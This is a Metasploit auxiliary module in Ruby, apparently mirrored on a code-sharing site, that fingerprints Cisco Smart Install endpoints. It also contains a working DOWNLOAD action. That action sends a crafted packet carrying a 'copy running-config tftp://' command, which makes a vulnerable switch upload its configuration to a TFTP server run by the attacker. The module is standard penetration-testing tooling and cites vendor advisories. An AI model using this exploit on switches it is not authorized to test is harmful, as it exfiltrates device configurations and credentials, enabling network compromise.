Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/cisco_smart_install.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Cisco
9
include Msf::Auxiliary::Scanner
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Identify Cisco Smart Install endpoints',
17
'Description' => %q{
18
This module attempts to connect to the specified Cisco Smart Install port
19
and determines if it speaks the Smart Install Protocol. Exposure of SMI
20
to untrusted networks can allow complete compromise of the switch.
21
},
22
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>', 'Mumbai'],
23
'References' => [
24
['URL', 'http://web.archive.org/web/20221003014218/http://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'],
25
['URL', 'https://blogs.cisco.com/security/cisco-psirt-mitigating-and-detecting-potential-abuse-of-cisco-smart-install-feature'],
26
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi'],
27
['URL', 'https://github.com/Cisco-Talos/smi_check'],
28
['URL', 'https://github.com/frostbits-security/SIET']
29
30
],
31
'License' => MSF_LICENSE,
32
'DefaultAction' => 'SCAN',
33
'Actions' => [
34
['SCAN', 'Description' => 'Scan for instances communicating via Smart Install Protocol (default)'],
35
['DOWNLOAD', 'Description' => 'Retrieve configuration via Smart Install Protocol']
36
],
37
'Notes' => {
38
'Reliability' => UNKNOWN_RELIABILITY,
39
'Stability' => UNKNOWN_STABILITY,
40
'SideEffects' => UNKNOWN_SIDE_EFFECTS
41
}
42
)
43
)
44
45
register_options(
46
[
47
Opt::RPORT(4786),
48
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),
49
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10]),
50
OptString.new('CONFIG', [ true, "The source config to copy when using DOWNLOAD", "system:running-config" ])
51
]
52
)
53
end
54
55
# thanks to https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py#L52-L53
56
SMI_PROBE = "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00".freeze
57
SMI_RE = /^\x00{3}\x04\x00{7}\x03\x00{3}\x08\x00{3}\x01\x00{4}$/
58
def smi?
59
sock.puts(SMI_PROBE)
60
response = sock.get_once(-1)
61
if response
62
if SMI_RE.match(response)
63
print_good("Fingerprinted the Cisco Smart Install protocol")
64
return true
65
else
66
vprint_status("No match for '#{response}'")
67
end
68
else
69
vprint_status("No response")
70
end
71
end
72
73
def start_tftp
74
print_status("Starting TFTP Server...")
75
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
76
@tftp.incoming_file_hook = Proc.new { |info| process_incoming(info) }
77
@tftp.start
78
add_socket(@tftp.sock)
79
@main_thread = ::Thread.current
80
end
81
82
def cleanup
83
# Cleanup is called once for every single thread
84
if ::Thread.current == @main_thread
85
# Wait 5 seconds for background transfers to complete
86
print_status("Providing some time for transfers to complete...")
87
sleep(5)
88
89
if @tftp
90
print_status("Shutting down the TFTP service...")
91
@tftp.close rescue nil
92
@tftp = nil
93
end
94
end
95
end
96
97
#
98
# Callback for incoming files
99
#
100
def process_incoming(info)
101
return if not info[:file]
102
103
name = info[:file][:name]
104
data = info[:file][:data]
105
from = info[:from]
106
return if not (name && data && from)
107
108
# Trim off IPv6 mapped IPv4 if necessary
109
from = from[0].dup
110
from.gsub!('::ffff:', '')
111
112
print_status("Incoming file from #{from} - #{name} (#{data.length} bytes)")
113
cisco_ios_config_eater(from, rport, data)
114
end
115
116
def decode_hex(string)
117
string.scan(/../).map { |x| x.hex }.pack('c*')
118
end
119
120
def request_config(tftp_server, config)
121
copy_config = "copy #{config} tftp://#{tftp_server}/#{Rex::Text.rand_text_alpha(8)}"
122
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
123
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
124
print_status("Attempting #{copy_config}")
125
sock.put(packet)
126
end
127
128
def run_host(ip)
129
begin
130
case
131
when action.name == 'SCAN'
132
connect
133
return unless smi?
134
when action.name == 'DOWNLOAD'
135
start_tftp
136
connect
137
return unless smi?
138
139
disconnect # cant send any additional packets, so closing
140
connect
141
tftp_server = datastore['LHOST'] || Rex::Socket.source_address(ip)
142
request_config(tftp_server, datastore['CONFIG'])
143
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
144
Rex.sleep(datastore['SLEEP'])
145
end
146
rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \
147
::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
148
vprint_error("error while connecting and negotiating Cisco Smart Install: #{e}")
149
return
150
ensure
151
disconnect
152
end
153
154
service = report_service(
155
host: rhost,
156
port: rport,
157
proto: 'tcp',
158
name: 'Smart Install'
159
)
160
161
report_vuln(
162
host: rhost,
163
service: service,
164
name: name,
165
info: "Fingerprinted the Cisco Smart Install Protocol",
166
refs: references,
167
exploited_at: Time.now.utc
168
)
169
end
170
end
171
172